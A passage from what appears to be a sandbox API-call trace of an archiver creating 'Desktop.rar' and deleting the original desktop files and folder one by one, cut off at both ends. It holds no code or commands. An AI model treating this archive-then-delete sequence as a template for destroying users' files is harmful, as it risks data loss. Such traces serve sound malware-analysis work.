returned 0x288dd [0074.813] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0074.814] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0074.814] GetFocus () returned 0x2027a [0074.814] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0074.814] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 1 [0074.816] DeleteFileW (lpFileName="t1UTy\\rjFeGvlijme.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\rjfegvlijme.swf")) returned 1 [0074.872] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0074.872] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.872] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.872] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0074.872] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.872] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.873] SetWindowTextW (hWnd=0x1028c, lpString="rjFeGvlijme.swf") returned 1 [0074.873] GetTickCount () returned 0x2891b [0074.873] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.873] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0074.873] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0074.873] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.873] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="rjFeGvlijme.swf") returned 15 [0074.873] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0074.874] GetTickCount () returned 0x2891b [0074.874] GetLastError () returned 0x0 [0074.874] SetLastError (dwErrCode=0x0) [0074.874] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0074.874] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0074.874] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 14%") returned 5 [0074.874] SetWindowTextW (hWnd=0x1028e, lpString=" 17%") returned 1 [0074.874] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x11, lParam=0x0) returned 0xe [0074.874] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16620292392) returned 1 [0074.874] GetTickCount () returned 0x2891b [0074.874] GetTickCount () returned 0x2891b [0074.874] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0074.874] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0074.875] GetFocus () returned 0x2027a [0074.875] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0074.876] DeleteFileW (lpFileName="t1UTy\\P4m7gaW ZT.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\p4m7gaw zt.flv")) returned 1 [0074.933] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0074.933] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.933] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.933] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0074.934] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.934] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0074.934] SetWindowTextW (hWnd=0x1028c, lpString="P4m7gaW ZT.flv") returned 1 [0074.934] GetTickCount () returned 0x2895a [0074.934] UpdateWindow (hWnd=0x10284) returned 1 [0074.934] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0074.934] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0074.934] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0074.934] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0074.934] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="P4m7gaW ZT.flv") returned 14 [0074.934] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0074.935] GetTickCount () returned 0x2895a [0074.935] GetLastError () returned 0x0 [0074.935] SetLastError (dwErrCode=0x0) [0074.935] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0074.935] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0074.935] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 17%") returned 5 [0074.935] SetWindowTextW (hWnd=0x1028e, lpString=" 19%") returned 1 [0074.936] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x13, lParam=0x0) returned 0x11 [0074.936] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16626421425) returned 1 [0074.936] GetTickCount () returned 0x2895a [0074.936] GetTickCount () returned 0x2895a [0074.936] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0074.936] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0074.936] GetFocus () returned 0x2027a [0074.936] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0074.936] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 1 [0074.936] DeleteFileW (lpFileName="t1UTy\\0jOnjZop-702GRg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\0jonjzop-702grg.png")) returned 1 [0075.042] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.042] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.042] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.042] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.043] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.043] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.043] SetWindowTextW (hWnd=0x1028c, lpString="0jOnjZop-702GRg.png") returned 1 [0075.043] GetTickCount () returned 0x289c7 [0075.043] UpdateWindow (hWnd=0x10284) returned 1 [0075.044] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.044] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.044] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.044] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.044] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="0jOnjZop-702GRg.png") returned 19 [0075.044] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.044] GetTickCount () returned 0x289c7 [0075.044] GetLastError () returned 0x0 [0075.044] SetLastError (dwErrCode=0x0) [0075.044] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0075.044] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0075.044] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 19%") returned 5 [0075.044] SetWindowTextW (hWnd=0x1028e, lpString=" 21%") returned 1 [0075.045] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x15, lParam=0x0) returned 0x13 [0075.046] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16637417212) returned 1 [0075.046] GetTickCount () returned 0x289c7 [0075.046] GetTickCount () returned 0x289c7 [0075.046] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.046] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.046] GetFocus () returned 0x2027a [0075.046] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0075.046] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 0 [0075.046] GetKeyState (nVirtKey=16) returned 0 [0075.046] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd5a0) returned 0 [0075.046] TranslateMessage (lpMsg=0xe414dd5a0) returned 0 [0075.046] DispatchMessageW (lpMsg=0xe414dd5a0) returned 0x7f61 [0075.046] RemoveDirectoryW (lpPathName="t1UTy" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty")) returned 1 [0075.492] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.493] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.493] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.493] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.493] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.493] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.493] SetWindowTextW (hWnd=0x1028c, lpString="t1UTy") returned 1 [0075.494] GetTickCount () returned 0x28b7d [0075.494] UpdateWindow (hWnd=0x10284) returned 1 [0075.494] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.494] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.494] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.494] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.494] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="t1UTy") returned 5 [0075.494] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.494] GetTickCount () returned 0x28b7d [0075.494] GetLastError () returned 0x0 [0075.494] SetLastError (dwErrCode=0x0) [0075.494] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0075.494] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0075.494] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 21%") returned 5 [0075.495] SetWindowTextW (hWnd=0x1028e, lpString=" 23%") returned 1 [0075.495] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x17, lParam=0x0) returned 0x15 [0075.496] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16682451730) returned 1 [0075.496] GetTickCount () returned 0x28b8c [0075.496] GetLastError () returned 0x0 [0075.496] SetLastError (dwErrCode=0x0) [0075.496] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0075.496] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:00:07") returned 8 [0075.496] SetWindowTextW (hWnd=0x10296, lpString="00:00:09") returned 1 [0075.497] GetTickCount () returned 0x28b8c [0075.497] GetLastError () returned 0x0 [0075.497] SetLastError (dwErrCode=0x0) [0075.497] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0075.497] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc160, nMaxCount=2560 | out: lpString="00:01:30") returned 8 [0075.497] SetWindowTextW (hWnd=0x1029a, lpString="00:00:38") returned 1 [0075.497] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.497] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.497] GetFocus () returned 0x2027a [0075.497] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.497] DeleteFileW (lpFileName="Sn MlQKdcUAQKuOMiL.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\sn mlqkdcuaqkuomil.mp4")) returned 1 [0075.499] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.499] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.499] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.499] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.499] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.499] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.499] SetWindowTextW (hWnd=0x1028c, lpString="Sn MlQKdcUAQKuOMiL.mp4") returned 1 [0075.500] GetTickCount () returned 0x28b8c [0075.500] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.500] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.500] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.500] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.500] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Sn MlQKdcUAQKuOMiL.mp4") returned 22 [0075.500] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.501] GetTickCount () returned 0x28b8c [0075.501] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16682936555) returned 1 [0075.501] GetTickCount () returned 0x28b8c [0075.501] GetTickCount () returned 0x28b8c [0075.501] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.501] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.501] GetFocus () returned 0x2027a [0075.501] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.501] DeleteFileW (lpFileName="sKJ-dBYfyDB.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\skj-dbyfydb.swf")) returned 1 [0075.502] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.502] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.502] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.502] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.503] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.503] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.503] SetWindowTextW (hWnd=0x1028c, lpString="sKJ-dBYfyDB.swf") returned 1 [0075.503] GetTickCount () returned 0x28b8c [0075.503] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.503] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.503] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.504] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.504] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="sKJ-dBYfyDB.swf") returned 15 [0075.504] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.504] GetTickCount () returned 0x28b8c [0075.504] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16683263954) returned 1 [0075.504] GetTickCount () returned 0x28b8c [0075.504] GetTickCount () returned 0x28b8c [0075.504] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.504] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.504] GetFocus () returned 0x2027a [0075.504] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.505] DeleteFileW (lpFileName="rnJlU.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\rnjlu.swf")) returned 1 [0075.506] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.506] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.506] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.506] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.507] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.507] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.507] SetWindowTextW (hWnd=0x1028c, lpString="rnJlU.swf") returned 1 [0075.507] GetTickCount () returned 0x28b8c [0075.507] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.507] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.507] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.507] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.507] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="rnJlU.swf") returned 9 [0075.507] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.508] GetTickCount () returned 0x28b8c [0075.508] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16683628637) returned 1 [0075.508] GetTickCount () returned 0x28b8c [0075.508] GetTickCount () returned 0x28b8c [0075.508] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.508] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.508] GetFocus () returned 0x2027a [0075.508] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 0 [0075.508] IsDialogMessageW (hDlg=0x50238, lpMsg=0xe414dd5a0) returned 0 [0075.508] GetKeyState (nVirtKey=16) returned 0 [0075.508] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd5a0) returned 0 [0075.508] TranslateMessage (lpMsg=0xe414dd5a0) returned 0 [0075.508] DispatchMessageW (lpMsg=0xe414dd5a0) returned 0x0 [0075.508] PeekMessageW (in: lpMsg=0xe414dd670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd670) returned 1 [0075.508] GetMessageW (in: lpMsg=0xe414dd600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd600) returned 1 [0075.508] GetFocus () returned 0x2027a [0075.508] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd600) returned 1 [0075.508] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0075.508] DeleteFileW (lpFileName="r 8Z60WGh0PY-Uxk.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\r 8z60wgh0py-uxk.gif")) returned 1 [0075.510] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.510] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.510] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.510] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.510] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.510] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.510] SetWindowTextW (hWnd=0x1028c, lpString="r 8Z60WGh0PY-Uxk.gif") returned 1 [0075.527] GetTickCount () returned 0x28bac [0075.527] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.527] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.527] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.527] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.528] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="r 8Z60WGh0PY-Uxk.gif") returned 20 [0075.528] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.528] GetTickCount () returned 0x28bac [0075.528] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16685651018) returned 1 [0075.528] GetTickCount () returned 0x28bac [0075.528] GetTickCount () returned 0x28bac [0075.528] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.528] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.528] GetFocus () returned 0x2027a [0075.528] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.529] DeleteFileW (lpFileName="Q00ZHL.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\q00zhl.bmp")) returned 1 [0075.574] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.574] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.574] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.574] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.575] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.575] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.575] SetWindowTextW (hWnd=0x1028c, lpString="Q00ZHL.bmp") returned 1 [0075.576] GetTickCount () returned 0x28bdb [0075.576] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.576] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.576] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.576] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.576] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Q00ZHL.bmp") returned 10 [0075.576] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.576] GetTickCount () returned 0x28bdb [0075.576] GetLastError () returned 0x0 [0075.577] SetLastError (dwErrCode=0x0) [0075.577] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0075.577] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0075.577] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 23%") returned 5 [0075.577] SetWindowTextW (hWnd=0x1028e, lpString=" 34%") returned 1 [0075.577] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x22, lParam=0x0) returned 0x17 [0075.577] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16690575171) returned 1 [0075.577] GetTickCount () returned 0x28bdb [0075.577] GetTickCount () returned 0x28bdb [0075.577] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.577] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5a0) returned 1 [0075.577] GetFocus () returned 0x2027a [0075.577] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5a0) returned 1 [0075.578] DeleteFileW (lpFileName="P1f3eP0sOin1nUyy.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\p1f3ep0soin1nuyy.csv")) returned 1 [0075.668] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414db9d0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0075.668] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.668] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.668] SetWindowTextW (hWnd=0x1028a, lpString="Deleting") returned 1 [0075.669] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.669] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414da580, nMaxCount=2560 | out: lpString="") returned 0 [0075.669] SetWindowTextW (hWnd=0x1028c, lpString="P1f3eP0sOin1nUyy.csv") returned 1 [0075.669] GetTickCount () returned 0x28c38 [0075.669] UpdateWindow (hWnd=0x10284) returned 1 [0075.669] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0075.669] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0075.670] SetWindowTextW (hWnd=0x1028a, lpString="") returned 1 [0075.670] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0075.670] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dc230, nMaxCount=2560 | out: lpString="P1f3eP0sOin1nUyy.csv") returned 20 [0075.670] SetWindowTextW (hWnd=0x1028c, lpString="") returned 1 [0075.670] GetTickCount () returned 0x28c38 [0075.670] GetLastError () returned 0x0 [0075.670] SetLastError (dwErrCode=0x0) [0075.670] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0075.670] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0075.670] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 34%") returned 5 [0075.670] SetWindowTextW (hWnd=0x1028e, lpString=" 36%") returned 1 [0075.671] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x24, lParam=0x0) returned 0x22 [0075.671] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16699966197) returned 1 [0075.671] GetTickCount () returned 0x28c38 [0075.671] GetTickCount () returned 0x28c38 [0075.671] PeekMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd610) returned 1 [0075.671] GetMessageW (in: lpMsg=0xe414dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 